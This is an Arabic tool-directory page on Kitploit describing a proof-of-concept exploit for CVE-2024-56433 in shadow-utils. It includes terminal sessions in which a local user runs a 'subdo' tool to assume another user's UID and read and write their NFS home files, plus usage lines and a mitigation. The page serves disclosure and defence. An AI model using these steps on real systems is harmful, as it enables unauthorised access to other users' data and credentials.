Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/jonnywhatshisface/cve-2024-56433
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمر
GitHubjonnywhatshisface/cve-2024-56433

CVE-2024-56433

إثبات مفهوم لاستغلال CVE-2024-56433، يوضح تصعيد الامتيازات عبر تصادم المعرّفات الفرعية في shadow-utils للوصول إلى بيانات المستخدمين الآخرين.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
منذ سنة واحدةلم تتم المراجعة بعد

CVE-2024-56433

shadow-utils - تعيين غير آمن لمعرّفات المعرفات الفرعية الافتراضية للمستخدمين المحليين

ملخص

يخلق تعيين المعرفات الفرعية الافتراضي خطر التصادم مع معرّفات المستخدمين الحالية، مما قد يؤدي إلى تغيير UID/GID بشكل تعسفي والحصول على وصول غير مصرح به إلى البيانات وموارد الشبكة.

الإصدارات المتأثرة

الحزمة الأساسية: shadow-utils 4.4 - 4.17.0

توزيعات لينكس المتأثرة

تم التأكيد على: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. جميع الإصدارات الحديثة من التوزيعات التي تستخدم shadow-utils 4.4 وما فوق.

المراجع

  • https://www.cve.org/CVERecord?id=CVE-2024-56433
  • https://github.com/JonnyWhatshisface/CVE-2024-56433
  • https://github.com/shadow-maint/shadow/issues/1157
  • https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
  • https://github.com/shadow-maint/shadow/releases/tag/4.4

التفاصيل

بدأ shadow-utils في الشحن مع تكوين افتراضي لتفويض المعرفات الفرعية للمستخدمين المحليين.

root@kitploit:~
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN  100000
SUB_UID_MAX  600100000
SUB_UID_COUNT  65536
SUB_GID_MIN  100000
SUB_GID_MAX  600100000
SUB_GID_COUNT  65536
#GRANT_AUX_GROUP_SUBIDS yes
$

عند إضافة مستخدمين محليين جدد إلى النظام عبر أي من أدوات shadow-utils (adduser, useradd وأثناء تثبيت النظام)، يتم منح كل مستخدم كتلة فريدة من 65,536 UID وGID، بدءًا من UID/GID 100000. على سبيل المثال، يحتوي النظام التالي على مستخدمين محليين مضافين عليه:

root@kitploit:~
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$

يفوض تكوين المعرف الفرعي حق استخدام النطاق (النطاقات) المحددة للمستخدم في مساحة اسم المستخدم ويُستخدم غالبًا للحاويات بدون جذر (rootless containerization). ومع ذلك، فإن أدوات الحاويات ليست مطلوبة للدخول إلى مساحة الاسم ويمكن القيام بذلك عبر وسائل متعددة، بما في ذلك استخدام أدوات shadow-utils الافتراضية 'newuidmap' و 'newgidmap.' وهذا يسمح للمستخدم بتغيير معرّف مستخدم POSIX بشكل تعسفي إلى أي معرّف ضمن النطاق المفوض له.

مثال

في المثال التالي، تم تفويض المستخدم Jon - UID/GID 1000 - بنطاق UID/GID من 65,536 معرّفًا بدءًا من 100000. تحتوي الشبكة على معرّفات أخرى مهيأة عبر LDAP لإدارة المستخدمين وتسجيل الدخول بشكل مركزي، مع وجود الدلائل الرئيسية لمستخدمي الشبكة على NFS.

UID/GID 108372 ينتمي إلى مستخدم الشبكة msteph.

من خلال الاستفادة من تخصيص UID/GID الفرعي الافتراضي الذي تم إنشاؤه أثناء التثبيت، يمكن للمستخدم المحلي التبديل إلى معرّف مستخدم الشبكة ثم الوصول إلى الدليل الرئيسي NFS، وقراءة وكتابة الملفات كمستخدم.

root@kitploit:~
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$

بينما تم استخدام NFS كمثال، فإن هذا يتجاوز مجرد الوصول إلى NFS. البنى التحتية التي قد يتم فيها تخزين بيانات اعتماد Kerberos على النظام المحلي تصبح معرضة للخطر، حيث يمكن التقاط بيانات الاعتماد من النظام المحلي ويصبح الوصول إلى خدمات kerberized الأخرى ممكنًا.

التخفيف

يجب إزالة إدخالات SUB_ في /etc/login.defs. يجب أيضًا إزالة أي إدخالات في /etc/subuid و /etc/subgid غير متوقعة.

إثبات المفهوم (POC)

إثبات المفهوم لتغيير UID/GID إلى المعرف الفرعي المخصص المطلوب مرفق كـ subdo.c و subdo.py

يقوم إثبات المفهوم بتعيين المعرّف الداخلي والخارجي إلى نفس المعرّف ثم يقوم بـ setuid() و setgid() إلى ذلك المعرّف داخل مساحة الاسم، مما يعني أن جميع الأوامر المنفذة داخل الصدفة في مساحة الاسم يتم تنفيذها الآن بهذا uid/gid على المضيف.

subdo.c

يسمح بتنفيذ أي أمر ووسائط كـ UID/GID فرعي مطلوب.

root@kitploit:~
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example: 
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$

subdo.py

ينفذ /bin/bash كـ UID/GID فرعي مطلوب.

root@kitploit:~
Usage: ./subdo.py -u $uid -g $gid
Example: 
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
تنزيل الأداة